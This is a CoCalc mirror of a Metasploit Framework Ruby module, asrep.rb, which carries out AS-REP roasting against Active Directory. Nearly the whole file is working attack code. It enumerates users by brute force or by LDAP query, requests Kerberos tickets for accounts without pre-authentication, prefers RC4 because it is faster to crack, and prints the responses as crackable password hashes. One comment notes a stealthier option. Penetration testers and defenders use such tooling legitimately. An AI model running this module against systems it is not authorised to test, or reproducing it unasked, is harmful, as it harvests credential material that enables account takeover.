CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/asrep.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Kerberos::Client
8
include Msf::Exploit::Remote::LDAP
9
include Msf::Exploit::Remote::LDAP::Queries
10
include Msf::OptionalSession::LDAP
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)',
17
'Description' => %q{
18
This module searches for AD users without pre-auth required. Two different approaches
19
are provided:
20
- Brute force of usernames (does not require a user account; should not lock out accounts)
21
- LDAP lookup (requires an AD user account)
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'smashery', # MSF Module
26
],
27
'References' => [
28
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat']
29
],
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [IOC_IN_LOGS],
33
'Reliability' => [],
34
'AKA' => ['preauth', 'asreproast']
35
},
36
'Actions' => [
37
['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ],
38
['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ],
39
],
40
'DefaultAction' => 'BRUTE_FORCE'
41
)
42
)
43
44
register_options(
45
[
46
Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),
47
OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
48
OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
49
OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
50
]
51
)
52
register_option_group(name: 'SESSION',
53
description: 'Used when connecting to LDAP over an existing SESSION',
54
option_names: %w[RHOSTS],
55
required_options: %w[SESSION RHOSTS])
56
register_advanced_options(
57
[
58
OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
59
]
60
)
61
62
default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
63
loaded_queries = safe_load_queries(default_config_file_path) || []
64
asrep_roast_query = loaded_queries.select { |entry| entry['action'] == 'ENUM_USER_ASREP_ROASTABLE' }
65
self.ldap_query = asrep_roast_query[0]
66
end
67
68
def run
69
case action.name
70
when 'BRUTE_FORCE'
71
run_brute
72
when 'LDAP'
73
run_ldap
74
end
75
end
76
77
def run_brute
78
result_count = 0
79
user_file = datastore['USER_FILE']
80
username = datastore['USERNAME']
81
if user_file.blank? && username.blank?
82
fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing')
83
end
84
if username.present?
85
begin
86
roast(datastore['USERNAME'])
87
result_count += 1
88
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
89
# User either not present, or requires preauth
90
vprint_status("User: #{username} - #{e}")
91
end
92
end
93
if user_file.present?
94
File.open(user_file, 'rb') do |file|
95
file.each_line(chomp: true) do |user_from_file|
96
roast(user_from_file)
97
result_count += 1
98
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
99
# User either not present, or requires preauth
100
vprint_status("User: #{user_from_file} - #{e}")
101
end
102
end
103
end
104
105
if result_count == 0
106
print_error('No users found without preauth required')
107
else
108
print_line
109
print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
110
end
111
end
112
113
def run_ldap
114
fail_with(Msf::Module::Failure::BadConfig, 'Must provide a username for connecting to LDAP') if datastore['USERNAME'].blank?
115
116
ldap_connect do |ldap|
117
validate_bind_success!(ldap)
118
unless (base_dn = ldap.base_dn)
119
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
120
end
121
122
schema_dn = ldap.schema_dn
123
filter_string = ldap_query['filter']
124
attributes = ldap_query['attributes']
125
begin
126
filter = Net::LDAP::Filter.construct(filter_string)
127
rescue StandardError => e
128
fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}")
129
end
130
131
print_line
132
result_count = perform_ldap_query_streaming(ldap, filter, attributes, base_dn, schema_dn) do |result, _attribute_properties|
133
username = result.samaccountname[0]
134
begin
135
roast(username)
136
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
137
print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})")
138
end
139
end
140
if result_count == 0
141
print_error("No entries could be found for #{filter_string}!")
142
else
143
print_line
144
print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
145
end
146
end
147
end
148
149
def roast(username)
150
res = send_request_tgt(
151
server_name: "krbtgt/#{datastore['domain']}",
152
client_name: username,
153
realm: datastore['DOMAIN'],
154
offered_etypes: etypes,
155
rport: 88,
156
rhost: datastore['RHOST']
157
)
158
hash = format_as_rep_to_john_hash(res.as_rep)
159
print_line(hash)
160
end
161
162
def etypes
163
if datastore['USE_RC4_HMAC']
164
[Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC]
165
else
166
# We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes,
167
# and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added
168
Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
169
end
170
end
171
172
attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file
173
174
end
175
176